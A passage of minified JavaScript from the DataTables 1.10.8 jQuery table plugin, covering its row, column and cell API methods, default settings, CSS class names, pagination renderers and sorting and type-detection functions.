F(e[0]):t}),t("tables().nodes()","table().node()",function(){return this.iterator("table",function(t){return t.nTable},1)}),t("tables().body()","table().body()",function(){return this.iterator("table",function(t){return t.nTBody},1)}),t("tables().header()","table().header()",function(){return this.iterator("table",function(t){return t.nTHead},1)}),t("tables().footer()","table().footer()",function(){return this.iterator("table",function(t){return t.nTFoot},1)}),t("tables().containers()","table().container()",function(){return this.iterator("table",function(t){return t.nTableWrapper},1)}),e("draw()",function(e){return this.iterator("table",function(t){"page"===e?h(t):r(t,!1===(e="string"==typeof e?"full-hold"!==e:e))})}),e("page()",function(e){return e===Le?this.page.info().page:this.iterator("table",function(t){Dt(t,e)})}),e("page.info()",function(){var t,e,n,i,s;return 0===this.context.length?Le:(e=(t=this.context[0])._iDisplayStart,n=t._iDisplayLength,i=t.fnRecordsDisplay(),{page:(s=-1===n)?0:Math.floor(e/n),pages:s?1:Math.ceil(i/n),start:e,end:t.fnDisplayEnd(),length:n,recordsTotal:t.fnRecordsTotal(),recordsDisplay:i,serverSide:"ssp"===A(t)})}),e("page.len()",function(e){return e===Le?0!==this.context.length?this.context[0]._iDisplayLength:Le:this.iterator("table",function(t){Tt(t,e)})}),e("ajax.json()",function(){var t=this.context;if(0<t.length)return t[0].json}),e("ajax.params()",function(){var t=this.context;if(0<t.length)return t[0].oAjaxData}),e("ajax.reload()",function(e,n){return this.iterator("table",function(t){se(t,!1===n,e)})}),e("ajax.url()",function(e){var t=this.context;return e===Le?0===t.length?Le:(t=t[0]).ajax?M.isPlainObject(t.ajax)?t.ajax.url:t.ajax:t.sAjaxSource:this.iterator("table",function(t){M.isPlainObject(t.ajax)?t.ajax.url=e:t.ajax=e})}),e("ajax.url().load()",function(e,n){return this.iterator("table",function(t){se(t,!1===n,e)})}),function(t,e){var n=[],i=t.aiDisplay,s=t.aiDisplayMaster,o=e.search,a=e.order,r=e.page;if("ssp"==A(t))return"removed"===o?[]:d(0,s.length);if("current"==r)for(s=t._iDisplayStart,a=t.fnDisplayEnd();s<a;s++)n.push(i[s]);else if("current"==a||"applied"==a)n="none"==o?s.slice():"applied"==o?i.slice():M.map(s,function(t){return-1===M.inArray(t,i)?t:null});else if("index"==a||"original"==a)for(s=0,a=t.aoData.length;s<a;s++)("none"==o||-1===(r=M.inArray(s,i))&&"removed"==o||0<=r&&"applied"==o)&&n.push(s);return n}),De=(e("rows()",function(t,e){t===Le?t="":M.isPlainObject(t)&&(e=t,t="");var e=ae(e),n=this.iterator("table",function(i){var s=e;return oe("row",t,function(n){var t,e=Qt(n);return null!==e&&!s||(t=ke(i,s),null!==e&&-1!==M.inArray(e,t))?[e]:n?"function"==typeof n?M.map(t,function(t){var e=i.aoData[t];return n(t,e._aData,e.nTr)?t:null}):(e=ie(ne(i.aoData,t,"nTr")),n.nodeName&&-1!==M.inArray(n,e)?[n._DT_RowIndex]:"string"==typeof n&&"#"===n.charAt(0)&&(t=i.aIds[n.replace(/^#/,"")])!==Le?[t.idx]:M(e).filter(n).map(function(){return this._DT_RowIndex}).toArray()):t},i,s)},1);return n.selector.rows=t,n.selector.opts=e,n}),e("rows().nodes()",function(){return this.iterator("row",function(t,e){return t.aoData[e].nTr||Le},1)}),e("rows().data()",function(){return this.iterator(!0,"rows",function(t,e){return ne(t.aoData,e,"_aData")},1)}),t("rows().cache()","row().cache()",function(n){return this.iterator("row",function(t,e){t=t.aoData[e];return"search"===n?t._aFilterData:t._aSortData},1)}),t("rows().invalidate()","row().invalidate()",function(n){return this.iterator("row",function(t,e){s(t,e,n)})}),t("rows().indexes()","row().index()",function(){return this.iterator("row",function(t,e){return e},1)}),t("rows().ids()","row().id()",function(t){for(var e=[],n=this.context,i=0,s=n.length;i<s;i++)for(var o=0,a=this[i].length;o<a;o++){var r=n[i].rowIdFn(n[i].aoData[this[i][o]]._aData);e.push((!0===t?"#":"")+r)}return new F(n,e)}),t("rows().remove()","row().remove()",function(){var a=this;return this.iterator("row",function(t,e,n){var i=t.aoData;i.splice(e,1);for(var s=0,o=i.length;s<o;s++)null!==i[s].nTr&&(i[s].nTr._DT_RowIndex=s);Y(t.aiDisplayMaster,e),Y(t.aiDisplay,e),Y(a[n],e,!1),Xt(t)}),this.iterator("table",function(t){for(var e=0,n=t.aoData.length;e<n;e++)t.aoData[e].idx=e}),this}),e("rows.add()",function(o){var t=this.iterator("table",function(t){for(var e,n=[],i=0,s=o.length;i<s;i++)(e=o[i]).nodeName&&"TR"===e.nodeName.toUpperCase()?n.push(q(t,e)[0]):n.push(_(t,e));return n},1),e=this.rows(-1);return e.pop(),e.push.apply(e,t.toArray()),e}),e("row()",function(t,e){return re(this.rows(t,e))}),e("row().data()",function(t){var e=this.context;return t===Le?e.length&&this.length?e[0].aoData[this[0]]._aData:Le:(e[0].aoData[this[0]]._aData=t,s(e[0],this[0],"data"),this)}),e("row().node()",function(){var t=this.context;return t.length&&this.length&&t[0].aoData[this[0]].nTr||null}),e("row.add()",function(e){e instanceof M&&e.length&&(e=e[0]);var t=this.iterator("table",function(t){return e.nodeName&&"TR"===e.nodeName.toUpperCase()?q(t,e)[0]:_(t,e)});return this.row(t[0])}),e("row().child()",function(t,e){var s,o,a,n=this.context;return t===Le?n.length&&this.length?n[0].aoData[this[0]]._details:Le:(!0===t?this.child.show():!1===t?le(this):n.length&&this.length&&(s=n[0],n=n[0].aoData[this[0]],o=[],(a=function(t,e){if(M.isArray(t)||t instanceof M)for(var n=0,i=t.length;n<i;n++)a(t[n],e);else t.nodeName&&"tr"===t.nodeName.toLowerCase()?o.push(t):(n=M("<tr><td/></tr>").addClass(e),M("td",n).addClass(e).html(t)[0].colSpan=y(s),o.push(n[0]))})(t,e),n._details&&n._details.remove(),n._details=M(o),n._detailsShow)&&n._details.insertAfter(n.nTr),this)}),e(["row().child.show()","row().child().show()"],function(){return ce(this,!0),this}),e(["row().child.hide()","row().child().hide()"],function(){return ce(this,!1),this}),e(["row().child.remove()","row().child().remove()"],function(){return le(this),this}),e("row().child.isShown()",function(){var t=this.context;return t.length&&this.length&&t[0].aoData[this[0]]._detailsShow||!1}),/^(.+):(name|visIdx|visible)$/),t=(e("columns()",function(e,n){e===Le?e="":M.isPlainObject(e)&&(n=e,e="");var n=ae(n),t=this.iterator("table",function(o){var t=e,a=n,r=o.aoColumns,l=g(r,"sName"),c=g(r,"nTh");return oe("column",t,function(n){var i,t=Qt(n);if(""===n)return d(r.length);if(null!==t)return[0<=t?t:r.length+t];if("function"==typeof n)return i=ke(o,a),M.map(r,function(t,e){return n(e,he(o,e,0,0,i),c[e])?e:null});var e,s="string"==typeof n?n.match(De):"";if(!s)return M(c).filter(n).map(function(){return M.inArray(this,c)}).toArray();switch(s[2]){case"visIdx":case"visible":return(t=parseInt(s[1],10))<0?[(e=M.map(r,function(t,e){return t.bVisible?e:null}))[e.length+t]]:[U(o,t)];case"name":return M.map(l,function(t,e){return t===s[1]?e:null})}},o,a)},1);return t.selector.cols=e,t.selector.opts=n,t}),t("columns().header()","column().header()",function(){return this.iterator("column",function(t,e){return t.aoColumns[e].nTh},1)}),t("columns().footer()","column().footer()",function(){return this.iterator("column",function(t,e){return t.aoColumns[e].nTf},1)}),t("columns().data()","column().data()",function(){return this.iterator("column-rows",he,1)}),t("columns().dataSrc()","column().dataSrc()",function(){return this.iterator("column",function(t,e){return t.aoColumns[e].mData},1)}),t("columns().cache()","column().cache()",function(o){return this.iterator("column-rows",function(t,e,n,i,s){return ne(t.aoData,s,"search"===o?"_aFilterData":"_aSortData",e)},1)}),t("columns().nodes()","column().nodes()",function(){return this.iterator("column-rows",function(t,e,n,i,s){return ne(t.aoData,s,"anCells",e)},1)}),t("columns().visible()","column().visible()",function(c,h){return this.iterator("column",function(t,e){if(c===Le)return t.aoColumns[e].bVisible;var n,i=t.aoColumns,s=i[e],o=t.aoData;if(c!==Le&&s.bVisible!==c){if(c)for(var a=M.inArray(!0,g(i,"bVisible"),e+1),r=0,l=o.length;r<l;r++)n=o[r].nTr,i=o[r].anCells,n&&n.insertBefore(i[e],i[a]||null);else M(g(t.aoData,"anCells",e)).detach();s.bVisible=c,u(t,t.aoHeader),u(t,t.aoFooter),(h===Le||h)&&(v(t),t.oScroll.sX||t.oScroll.sY)&&Mt(t),I(t,null,"column-visibility",[t,e,c]),Ut(t)}})}),t("columns().indexes()","column().index()",function(n){return this.iterator("column",function(t,e){return"visible"===n?c(t,e):e},1)}),e("columns.adjust()",function(){return this.iterator("table",function(t){v(t)},1)}),e("column.index()",function(t,e){var n;if(0!==this.context.length)return n=this.context[0],"fromVisible"===t||"toData"===t?U(n,e):"fromData"===t||"toVisible"===t?c(n,e):void 0}),e("column()",function(t,e){return re(this.columns(t,e))}),e("cells()",function(g,t,m){var n,i,s,o,a,r,l,e;return M.isPlainObject(g)&&(g.row===Le?(m=g,g=null):(m=t,t=null)),M.isPlainObject(t)&&(m=t,t=null),null===t||t===Le?this.iterator("table",function(n){var i,s,o,a,r,l,c,t=g,e=ae(m),h=n.aoData,u=ke(n,e),d=ie(ne(h,u,"anCells")),p=M([].concat.apply([],d)),f=n.aoColumns.length;return oe("cell",t,function(t){var e="function"==typeof t;if(null===t||t===Le||e){for(s=[],o=0,a=u.length;o<a;o++)for(i=u[o],r=0;r<f;r++)l={row:i,column:r},(!e||(c=n.aoData[i],t(l,w(n,i,r),c.anCells?c.anCells[r]:null)))&&s.push(l);return s}return M.isPlainObject(t)?[t]:p.filter(t).map(function(t,e){return{row:i=e.parentNode._DT_RowIndex,column:M.inArray(e,h[i].anCells)}}).toArray()},n,e)}):(n=this.columns(t,m),i=this.rows(g,m),e=this.iterator("table",function(t,e){for(s=[],o=0,a=i[e].length;o<a;o++)for(r=0,l=n[e].length;r<l;r++)s.push({row:i[e][o],column:n[e][r]});return s},1),M.extend(e.selector,{cols:t,rows:g,opts:m}),e)}),t("cells().nodes()","cell().node()",function(){return this.iterator("cell",function(t,e,n){return(t=t.aoData[e].anCells)?t[n]:Le},1)}),e("cells().data()",function(){return this.iterator("cell",function(t,e,n){return w(t,e,n)},1)}),t("cells().cache()","cell().cache()",function(i){return i="search"===i?"_aFilterData":"_aSortData",this.iterator("cell",function(t,e,n){return t.aoData[e][i][n]},1)}),t("cells().render()","cell().render()",function(i){return this.iterator("cell",function(t,e,n){return w(t,e,n,i)},1)}),t("cells().indexes()","cell().index()",function(){return this.iterator("cell",function(t,e,n){return{row:e,column:n,columnVisible:c(t,n)}},1)}),t("cells().invalidate()","cell().invalidate()",function(i){return this.iterator("cell",function(t,e,n){s(t,e,i,n)})}),e("cell()",function(t,e,n){return re(this.cells(t,e,n))}),e("cell().data()",function(t){var e=this.context,n=this[0];return t===Le?e.length&&n.length?w(e[0],n[0].row,n[0].column):Le:(G(e[0],n[0].row,n[0].column,t),s(e[0],n[0].row,"data",n[0].column),this)}),e("order()",function(e,t){var n=this.context;return e===Le?0!==n.length?n[0].aaSorting:Le:("number"==typeof e?e=[[e,t]]:M.isArray(e[0])||(e=Array.prototype.slice.call(arguments)),this.iterator("table",function(t){t.aaSorting=e.slice()}))}),e("order.listener()",function(e,n,i){return this.iterator("table",function(t){$t(t,e,n,i)})}),e(["columns().order()","column().order()"],function(i){var s=this;return this.iterator("table",function(t,e){var n=[];M.each(s[e],function(t,e){n.push([e,i])}),t.aaSorting=n})}),e("search()",function(e,n,i,s){var t=this.context;return e===Le?0!==t.length?t[0].oPreviousSearch.sSearch:Le:this.iterator("table",function(t){t.oFeatures.bFilter&&ht(t,M.extend({},t.oPreviousSearch,{sSearch:e+"",bRegex:null!==n&&n,bSmart:null===i||i,bCaseInsensitive:null===s||s}),1)})}),t("columns().search()","column().search()",function(i,s,o,a){return this.iterator("column",function(t,e){var n=t.aoPreSearchCols;if(i===Le)return n[e].sSearch;t.oFeatures.bFilter&&(M.extend(n[e],{sSearch:i+"",bRegex:null!==s&&s,bSmart:null===o||o,bCaseInsensitive:null===a||a}),ht(t,t.oPreviousSearch,1))})}),e("state()",function(){return this.context.length?this.context[0].oSavedState:null}),e("state.clear()",function(){return this.iterator("table",function(t){t.fnStateSaveCallback.call(t.oInstance,t,{})})}),e("state.loaded()",function(){return this.context.length?this.context[0].oLoadedState:null}),e("state.save()",function(){return this.iterator("table",function(t){Ut(t)})}),R.versionCheck=R.fnVersionCheck=function(t){for(var e,n,i=R.version.split("."),s=0,o=(t=t.split(".")).length;s<o;s++)if((e=parseInt(i[s],10)||0)!==(n=parseInt(t[s],10)||0))return n<e;return!0},R.isDataTable=R.fnIsDataTable=function(t){var s=M(t).get(0),o=!1;return M.each(R.settings,function(t,e){var n=e.nScrollHead?M("table",e.nScrollHead)[0]:null,i=e.nScrollFoot?M("table",e.nScrollFoot)[0]:null;e.nTable!==s&&n!==s&&i!==s||(o=!0)}),o},R.tables=R.fnTables=function(e){var t=!1,n=(M.isPlainObject(e)&&(t=e.api,e=e.visible),M.map(R.settings,function(t){if(!e||M(t.nTable).is(":visible"))return t.nTable}));return t?new F(n):n},R.util={throttle:Et,escapeRegex:gt},R.camelToHungarian=b,e("$()",function(t,e){e=this.rows(e).nodes(),e=M(e);return M([].concat(e.filter(t).toArray(),e.find(t).toArray()))}),M.each(["on","one","off"],function(t,n){e(n+"()",function(){var t=Array.prototype.slice.call(arguments),e=(t[0].match(/\.dt\b/)||(t[0]+=".dt"),M(this.tables().nodes()));return e[n].apply(e,t),this})}),e("clear()",function(){return this.iterator("table",function(t){Z(t)})}),e("settings()",function(){return new F(this.context,this.context)}),e("init()",function(){var t=this.context;return t.length?t[0].oInit:null}),e("data()",function(){return this.iterator("table",function(t){return g(t.aoData,"_aData")}).flatten()}),e("destroy()",function(u){return u=u||!1,this.iterator("table",function(e){var n,t=e.nTableWrapper.parentNode,i=e.oClasses,s=e.nTable,o=e.nTBody,a=e.nTHead,r=e.nTFoot,l=M(s),o=M(o),c=M(e.nTableWrapper),h=M.map(e.aoData,function(t){return t.nTr});e.bDestroying=!0,I(e,"aoDestroyCallback","destroy",[e]),u||new F(e).columns().visible(!0),c.unbind(".DT").find(":not(tbody *)").unbind(".DT"),M(Pe).unbind(".DT-"+e.sInstance),s!=a.parentNode&&(l.children("thead").detach(),l.append(a)),r&&s!=r.parentNode&&(l.children("tfoot").detach(),l.append(r)),e.aaSorting=[],e.aaSortingFixed=[],zt(e),M(h).removeClass(e.asStripeClasses.join(" ")),M("th, td",a).removeClass(i.sSortable+" "+i.sSortableAsc+" "+i.sSortableDesc+" "+i.sSortableNone),e.bJUI&&(M("th span."+i.sSortIcon+", td span."+i.sSortIcon,a).detach(),M("th, td",a).each(function(){var t=M("div."+i.sSortJUIWrapper,this);M(this).append(t.contents()),t.detach()})),o.children().detach(),o.append(h),l[a=u?"remove":"detach"](),c[a](),!u&&t&&(t.insertBefore(s,e.nTableReinsertBefore),l.css("width",e.sDestroyWidth).removeClass(i.sTable),n=e.asDestroyStripes.length)&&o.children().each(function(t){M(this).addClass(e.asDestroyStripes[t%n])}),-1!==(t=M.inArray(e,R.settings))&&R.settings.splice(t,1)})}),M.each(["column","row","cell"],function(t,a){e(a+"s().every()",function(o){return this.iterator(a,function(t,e,n,i,s){o.call(new F(t)[a](e,"cell"===a?n:Le),e,n,i,s)})})}),e("i18n()",function(t,e,n){var i=this.context[0];return(t=C(t)(i.oLanguage))===Le&&(t=e),(t=n!==Le&&M.isPlainObject(t)?t[n]!==Le?t[n]:t._:t).replace("%d",n)}),R.version="1.10.8",R.settings=[],R.models={},R.models.oSearch={bCaseInsensitive:!0,sSearch:"",bRegex:!1,bSmart:!0},R.models.oRow={nTr:null,anCells:null,_aData:[],_aSortData:null,_aFilterData:null,_sFilterRow:null,_sRowStripe:"",src:null,idx:-1},R.models.oColumn={idx:null,aDataSort:null,asSorting:null,bSearchable:null,bSortable:null,bVisible:null,_sManualType:null,_bAttrSrc:!1,fnCreatedCell:null,fnGetData:null,fnSetData:null,mData:null,mRender:null,nTh:null,nTf:null,sClass:null,sContentPadding:null,sDefaultContent:null,sName:null,sSortDataType:"std",sSortingClass:null,sSortingClassJUI:null,sTitle:null,sType:null,sWidth:null,sWidthOrig:null},R.defaults={aaData:null,aaSorting:[[0,"asc"]],aaSortingFixed:[],ajax:null,aLengthMenu:[10,25,50,100],aoColumns:null,aoColumnDefs:null,aoSearchCols:[],asStripeClasses:null,bAutoWidth:!0,bDeferRender:!1,bDestroy:!1,bFilter:!0,bInfo:!0,bJQueryUI:!1,bLengthChange:!0,bPaginate:!0,bProcessing:!1,bRetrieve:!1,bScrollCollapse:!1,bServerSide:!1,bSort:!0,bSortMulti:!0,bSortCellsTop:!1,bSortClasses:!0,bStateSave:!1,fnCreatedRow:null,fnDrawCallback:null,fnFooterCallback:null,fnFormatNumber:function(t){return t.toString().replace(/\B(?=(\d{3})+(?!\d))/g,this.oLanguage.sThousands)},fnHeaderCallback:null,fnInfoCallback:null,fnInitComplete:null,fnPreDrawCallback:null,fnRowCallback:null,fnServerData:null,fnServerParams:null,fnStateLoadCallback:function(t){try{return JSON.parse((-1===t.iStateDuration?sessionStorage:localStorage).getItem("DataTables_"+t.sInstance+"_"+location.pathname))}catch(t){}},fnStateLoadParams:null,fnStateLoaded:null,fnStateSaveCallback:function(t,e){try{(-1===t.iStateDuration?sessionStorage:localStorage).setItem("DataTables_"+t.sInstance+"_"+location.pathname,JSON.stringify(e))}catch(t){}},fnStateSaveParams:null,iStateDuration:7200,iDeferLoading:null,iDisplayLength:10,iDisplayStart:0,iTabIndex:0,oClasses:{},oLanguage:{oAria:{sSortAscending:": activate to sort column ascending",sSortDescending:": activate to sort column descending"},oPaginate:{sFirst:"First",sLast:"Last",sNext:"Next",sPrevious:"Previous"},sEmptyTable:"No data available in table",sInfo:"Showing _START_ to _END_ of _TOTAL_ entries",sInfoEmpty:"Showing 0 to 0 of 0 entries",sInfoFiltered:"(filtered from _MAX_ total entries)",sInfoPostFix:"",sDecimal:"",sThousands:",",sLengthMenu:"Show _MENU_ entries",sLoadingRecords:"Loading...",sProcessing:"Processing...",sSearch:"Search:",sSearchPlaceholder:"",sUrl:"",sZeroRecords:"No matching records found"},oSearch:M.extend({},R.models.oSearch),sAjaxDataProp:"data",sAjaxSource:null,sDom:"lfrtip",searchDelay:null,sPaginationType:"simple_numbers",sScrollX:"",sScrollXInner:"",sScrollY:"",sServerMethod:"GET",renderer:null,rowId:"DT_RowId"},o(R.defaults),R.defaults.column={aDataSort:null,iDataSort:-1,asSorting:["asc","desc"],bSearchable:!0,bSortable:!0,bVisible:!0,fnCreatedCell:null,mData:null,mRender:null,sCellType:"td",sClass:"",sContentPadding:"",sDefaultContent:null,sName:"",sSortDataType:"std",sTitle:null,sType:null,sWidth:null},o(R.defaults.column),R.models.oSettings={oFeatures:{bAutoWidth:null,bDeferRender:null,bFilter:null,bInfo:null,bLengthChange:null,bPaginate:null,bProcessing:null,bServerSide:null,bSort:null,bSortMulti:null,bSortClasses:null,bStateSave:null},oScroll:{bCollapse:null,iBarWidth:0,sX:null,sXInner:null,sY:null},oLanguage:{fnInfoCallback:null},oBrowser:{bScrollOversize:!1,bScrollbarLeft:!1,bBounding:!1},ajax:null,aanFeatures:[],aoData:[],aiDisplay:[],aiDisplayMaster:[],aIds:{},aoColumns:[],aoHeader:[],aoFooter:[],oPreviousSearch:{},aoPreSearchCols:[],aaSorting:null,aaSortingFixed:[],asStripeClasses:null,asDestroyStripes:[],sDestroyWidth:0,aoRowCallback:[],aoHeaderCallback:[],aoFooterCallback:[],aoDrawCallback:[],aoRowCreatedCallback:[],aoPreDrawCallback:[],aoInitComplete:[],aoStateSaveParams:[],aoStateLoadParams:[],aoStateLoaded:[],sTableId:"",nTable:null,nTHead:null,nTFoot:null,nTBody:null,nTableWrapper:null,bDeferLoading:!1,bInitialised:!1,aoOpenRows:[],sDom:null,searchDelay:null,sPaginationType:"two_button",iStateDuration:0,aoStateSave:[],aoStateLoad:[],oSavedState:null,oLoadedState:null,sAjaxSource:null,sAjaxDataProp:null,bAjaxDataGet:!0,jqXHR:null,json:Le,oAjaxData:Le,fnServerData:null,aoServerParams:[],sServerMethod:null,fnFormatNumber:null,aLengthMenu:null,iDraw:0,bDrawing:!1,iDrawError:-1,_iDisplayLength:10,_iDisplayStart:0,_iRecordsTotal:0,_iRecordsDisplay:0,bJUI:null,oClasses:{},bFiltered:!1,bSorted:!1,bSortCellsTop:null,oInit:null,aoDestroyCallback:[],fnRecordsTotal:function(){return"ssp"==A(this)?+this._iRecordsTotal:this.aiDisplayMaster.length},fnRecordsDisplay:function(){return"ssp"==A(this)?+this._iRecordsDisplay:this.aiDisplay.length},fnDisplayEnd:function(){var t=this._iDisplayLength,e=this._iDisplayStart,n=e+t,i=this.aiDisplay.length,s=this.oFeatures,o=s.bPaginate;return s.bServerSide?!1===o||-1===t?e+i:Math.min(e+t,this._iRecordsDisplay):!o||i<n||-1===t?i:n},oInstance:null,sInstance:null,iTabIndex:0,nScrollHead:null,nScrollFoot:null,aLastSort:[],oPlugins:{},rowIdFn:null,rowId:null},R.ext=O={buttons:{},classes:{},errMode:"alert",feature:[],search:[],selector:{cell:[],column:[],row:[]},internal:{},legacy:{ajax:null},pager:{},renderer:{pageButton:{},header:{}},order:{},type:{detect:[],search:{},order:{}},_unique:0,fnVersionCheck:R.fnVersionCheck,iApiIndex:0,oJUIClasses:{},sVersion:R.version},M.extend(O,{afnFiltering:O.search,aTypes:O.type.detect,ofnSearch:O.type.search,oSort:O.type.order,afnSortData:O.order,aoFeatures:O.feature,oApi:O.internal,oStdClasses:O.classes,oPagination:O.pager}),M.extend(R.ext.classes,{sTable:"dataTable",sNoFooter:"no-footer",sPageButton:"paginate_button",sPageButtonActive:"current",sPageButtonDisabled:"disabled",sStripeOdd:"odd",sStripeEven:"even",sRowEmpty:"dataTables_empty",sWrapper:"dataTables_wrapper",sFilter:"dataTables_filter",sInfo:"dataTables_info",sPaging:"dataTables_paginate paging_",sLength:"dataTables_length",sProcessing:"dataTables_processing",sSortAsc:"sorting_asc",sSortDesc:"sorting_desc",sSortable:"sorting",sSortableAsc:"sorting_asc_disabled",sSortableDesc:"sorting_desc_disabled",sSortableNone:"sorting_disabled",sSortColumn:"sorting_",sFilterInput:"",sLengthSelect:"",sScrollWrapper:"dataTables_scroll",sScrollHead:"dataTables_scrollHead",sScrollHeadInner:"dataTables_scrollHeadInner",sScrollBody:"dataTables_scrollBody",sScrollFoot:"dataTables_scrollFoot",sScrollFootInner:"dataTables_scrollFootInner",sHeaderTH:"",sFooterTH:"",sSortJUIAsc:"",sSortJUIDesc:"",sSortJUI:"",sSortJUIAscAllowed:"",sSortJUIDescAllowed:"",sSortJUIWrapper:"",sSortIcon:"",sJUIHeader:"",sJUIFooter:""}),"ui-state-default"),Ie="css_right ui-icon ui-icon-",Ae="fg-toolbar ui-toolbar ui-widget-header ui-helper-clearfix",Me=(M.extend(R.ext.oJUIClasses,R.ext.classes,{sPageButton:"fg-button ui-button "+t,sPageButtonActive:"ui-state-disabled",sPageButtonDisabled:"ui-state-disabled",sPaging:"dataTables_paginate fg-buttonset ui-buttonset fg-buttonset-multi ui-buttonset-multi paging_",sSortAsc:t+" sorting_asc",sSortDesc:t+" sorting_desc",sSortable:t+" sorting",sSortableAsc:t+" sorting_asc_disabled",sSortableDesc:t+" sorting_desc_disabled",sSortableNone:t+" sorting_disabled",sSortJUIAsc:Ie+"triangle-1-n",sSortJUIDesc:Ie+"triangle-1-s",sSortJUI:Ie+"carat-2-n-s",sSortJUIAscAllowed:Ie+"carat-1-n",sSortJUIDescAllowed:Ie+"carat-1-s",sSortJUIWrapper:"DataTables_sort_wrapper",sSortIcon:"DataTables_sort_icon",sScrollHead:"dataTables_scrollHead "+t,sScrollFoot:"dataTables_scrollFoot "+t,sHeaderTH:t,sFooterTH:t,sJUIHeader:Ae+" ui-corner-tl ui-corner-tr",sJUIFooter:Ae+" ui-corner-bl ui-corner-br"}),R.ext.pager);return M.extend(Me,{simple:function(){return["previous","next"]},full:function(){return["first","previous","next","last"]},numbers:function(t,e){return[Zt(t,e)]},simple_numbers:function(t,e){return["previous",Zt(t,e),"next"]},full_numbers:function(t,e){return["first","previous",Zt(t,e),"next","last"]},_numbers:Zt,numbers_length:7}),M.extend(!0,R.ext.renderer,{pageButton:{_:function(r,t,l,e,c,h){var u,d,n,p=r.oClasses,f=r.oLanguage.oPaginate,g=0,m=function(t,e){function n(t){Dt(r,t.data.action,!0)}for(var i,s,o=0,a=e.length;o<a;o++)if(s=e[o],M.isArray(s))i=M("<"+(s.DT_el||"div")+"/>").appendTo(t),m(i,s);else{switch(u=null,d="",s){case"ellipsis":t.append('<span class="ellipsis">…</span>');break;case"first":u=f.sFirst,d=s+(0<c?"":" "+p.sPageButtonDisabled);break;case"previous":u=f.sPrevious,d=s+(0<c?"":" "+p.sPageButtonDisabled);break;case"next":u=f.sNext,d=s+(c<h-1?"":" "+p.sPageButtonDisabled);break;case"last":u=f.sLast,d=s+(c<h-1?"":" "+p.sPageButtonDisabled);break;default:u=s+1,d=c===s?p.sPageButtonActive:""}null!==u&&(Gt(i=M("<a>",{class:p.sPageButton+" "+d,"aria-controls":r.sTableId,"data-dt-idx":g,tabindex:r.iTabIndex,id:0===l&&"string"==typeof s?r.sTableId+"_"+s:null}).html(u).appendTo(t),{action:s},n),g++)}};try{n=M(t).find(Ee.activeElement).data("dt-idx")}catch(t){}m(M(t).empty(),e),n&&M(t).find("[data-dt-idx="+n+"]").focus()}}}),M.extend(R.ext.type.detect,[function(t,e){e=e.oLanguage.sDecimal;return te(t,e)?"num"+e:null},function(t){var e;return(!t||t instanceof Date||ge.test(t)&&me.test(t))&&(null!==(e=Date.parse(t))&&!isNaN(e)||a(t))?"date":null},function(t,e){e=e.oLanguage.sDecimal;return te(t,e,!0)?"num-fmt"+e:null},function(t,e){e=e.oLanguage.sDecimal;return ee(t,e)?"html-num"+e:null},function(t,e){e=e.oLanguage.sDecimal;return ee(t,e,!0)?"html-num-fmt"+e:null},function(t){return a(t)||"string"==typeof t&&-1!==t.indexOf("<")?"html":null}]),M.extend(R.ext.type.search,{html:function(t){return a(t)?t:"string"==typeof t?t.replace(pe," ").replace(fe,""):""},string:function(t){return!a(t)&&"string"==typeof t?t.replace(pe," "):t}}),M.extend(O.type.order,{"date-pre":function(t){return Date.parse(t)||0},"html-pre":function(t){return a(t)?"":t.replace?t.replace(/<.*?>/g,"").toLowerCase():t+""},"string-pre":function(t){return a(t)?"":"string"==typeof t?t.toLowerCase():t.toString?t.toString():""},"string-asc":function(t,e){return t<e?-1:e<t?1:0},"string-desc":function(t,e){return t<e?1:e<t?-1:0}}),Yt(""),M.extend(!0,R.ext.renderer,{header:{_:function(s,o,a,r){M(s.nTable).on("order.dt.DT",function(t,e,n,i){s===e&&(t=a.idx,o.removeClass(a.sSortingClass+" "+r.sSortAsc+" "+r.sSortDesc).addClass("asc"==i[t]?r.sSortAsc:"desc"==i[t]?r.sSortDesc:a.sSortingClass))})},jqueryui:function(s,o,a,r){M("<div/>").addClass(r.sSortJUIWrapper).append(o.contents()).append(M("<span/>").addClass(r.sSortIcon+" "+a.sSortingClassJUI)).appendTo(o),M(s.nTable).on("order.dt.DT",function(t,e,n,i){s===e&&(t=a.idx,o.removeClass(r.sSortAsc+" "+r.sSortDesc).addClass("asc"==i[t]?r.sSortAsc:"desc"==i[t]?r.sSortDesc:a.sSortingClass),o.find("span."+r.sSortIcon).removeClass(r.sSortJUIAsc+" "+r.sSortJUIDesc+" "+r.sSortJUI+" "+r.sSortJUIAscAllowed+" "+r.sSortJUIDescAllowed).addClass("asc"==i[t]?r.sSortJUIAsc:"desc"==i[t]?r.sSortJUIDesc:a.sSortingClassJUI))})}}}),R.render={number:function(i,s,o,a,r){return{display:function(t){var e,n;return"number"!=typeof t&&"string"!=typeof t?t:(e=t<0?"-":"",t=Math.abs(parseFloat(t)),n=parseInt(t,10),t=o?s+(t-n).toFixed(o).substring(2):"",e+(a||"")+n.toString().replace(/\B(?=(\d{3})+(?!\d))/g,i)+t+(r||""))}}}},M.extend(R.ext.internal,{_fnExternApiFunc:Kt,_fnBuildAjax:st,_fnAjaxUpdate:ot,_fnAjaxParameters:at,_fnAjaxUpdateDraw:rt,_fnAjaxDataSrc:lt,_fnAddColumn:z,_fnColumnOptions:W,_fnAdjustColumnSizing:v,_fnVisibleToColumnIndex:U,_fnColumnIndexToVisible:c,_fnVisbleColumns:y,_fnGetColumns:S,_fnColumnTypes:B,_fnApplyColumnDefs:V,_fnHungarianMap:o,_fnCamelToHungarian:b,_fnLanguageCompat:j,_fnBrowserDetect:$,_fnAddData:_,_fnAddTr:q,_fnNodeToDataIndex:function(t,e){return e._DT_RowIndex!==Le?e._DT_RowIndex:null},_fnNodeToColumnIndex:function(t,e,n){return 